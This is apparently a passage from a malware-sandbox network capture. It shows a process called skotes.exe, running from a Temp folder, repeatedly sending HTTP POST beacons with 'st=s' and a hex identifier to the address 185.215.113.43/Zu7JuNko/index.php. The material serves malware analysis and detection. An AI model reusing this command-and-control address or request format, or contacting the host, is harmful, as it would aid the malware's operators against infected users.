Nov 20, 2024 04:11:04.266136885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:04.955372095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	63575	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:06.493546963 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:07.203948975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	63576	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:08.819190979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:09.517841101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	63578	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:11.035054922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:11.748830080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	63579	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:13.371856928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:14.062900066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	63591	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:15.616343021 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:16.317960978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	63595	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:17.944063902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:18.643780947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	63598	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:20.160953999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:20.874697924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	63599	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:22.499955893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:23.190676928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	63600	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:24.712201118 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:25.427337885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	63601	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:27.065753937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:27.753448963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	63603	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:29.277698994 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:29.991019964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	63604	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:31.614940882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:32.482371092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	63605	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:34.004175901 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:34.726912975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	63606	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:36.359464884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:37.087191105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	63607	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:38.615580082 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:39.313071966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	63609	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:40.947439909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:41.650250912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	63611	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:43.179668903 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:43.893521070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	63612	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:45.515023947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:46.234091043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	63614	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:47.746082067 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:48.454638004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	63615	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:50.082175970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:50.801774979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	63617	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:52.313024044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:11:53.027753115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	63619	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:54.651331902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:55.372745991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	63620	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:56.882961988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
